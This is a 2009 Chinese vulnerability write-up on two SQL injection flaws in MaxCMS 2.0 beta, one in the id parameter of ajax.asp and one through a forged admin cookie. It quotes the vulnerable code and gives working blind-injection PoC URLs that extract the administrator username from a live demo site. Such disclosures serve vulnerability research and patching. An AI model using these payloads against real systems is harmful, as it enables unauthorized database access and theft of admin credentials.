马克斯CMS2.0beta (maxcms)SQL注入漏洞
作者:flyh4t 来源:wolvez.org 时间:2009-02-17 12:58:00
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。
看代码
\inc\ajax.aspdim action : action = getForm("action", "get")response.Charset="gbk"Select case action case "newslist" : viewNewsList case "newscontent" : viewNewsContent case "digg","tread" : scoreVideo(action) case "reporterr" : reportErr case "hit" : updateHit case else : mainEnd SelectterminateAllObjects……Sub scoreVideo(operType) dim sql,id,digg,returnValue : id=getForm("id","get") ‘通过get方式获取id的值 if rCookie("maxcms2_score"&id)="ok" then die "havescore" if isNul(id) then die "err" 'on error resume next digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0) ‘ 参数id,没有过滤就带入sql语句进行查询 if err then digg=0 : err.clear() if not isNum(id) then echoSaveStr "safe" else id=clng(id) ‘ 查询到digg,注意返回的内容……
利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97不正确的:http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
另外一处注射
Sub checkPower dim loginValidate,rsObj : loginValidate = "maxcms2.0" err.clear on error resume next set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute") loginValidate = md5(getAgent&getIp&rsObj(0)) if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>" if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>" checkManagerLevel rsObj(1) set rsObj=nothingEnd Sub
其中
Function rCookie(cookieName) rCookie = request.cookies(cookieName)End Function
通过伪造cookie中m_username的值可以进行注射
不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
Discuz!配置文件中的安全设置
![](https://img.aspxhome.com/file/UploadPic/20102/2/1509300-70s.gif)
彻底解决局域网ARP攻击
Windows2003服务器安装及设置教程—软件安装与设置篇八—PHP5安装图解
![](https://img.aspxhome.com/file/UploadPic/20101/31/php-install-1-92s.gif)
对百度收录新站的潜规则研究调查
多少日ip的网站才能够上吃喝?
UCenter Home用户注册后跳转到更新个人资料页面的方法
![](https://img.aspxhome.com/file/UploadPic/20097/23/200972313251547s.jpg)
新手指导:Google Adsense 付款流程详解
![](/images/sg_trans.gif)
高效管理服务器的几个技巧
谷歌Squared功能改进 但仍不认火星是行星
国内最新模板引擎xingTemplate介绍
详解Apache中.htaccess文件的功能
如何快速提高网站的Google PR 值
因SEO而升温的几大行业
Google推介的计划政策
构建DNS服务器指南
保护好IIS Web服务器的15个技巧
Windows2003服务器安装及设置教程——注册表篇
百度搜索引擎近期算法调整 变化更新分析
Godaddy主机如何购买额外的SMTP Relays
![](https://img.aspxhome.com/file/UploadPic/20104/7/201047131955810s.gif)
SEO优化手册之三 进行网站的规范化设计
![](https://img.aspxhome.com/file/UploadPic/20093/20093514313565.jpg)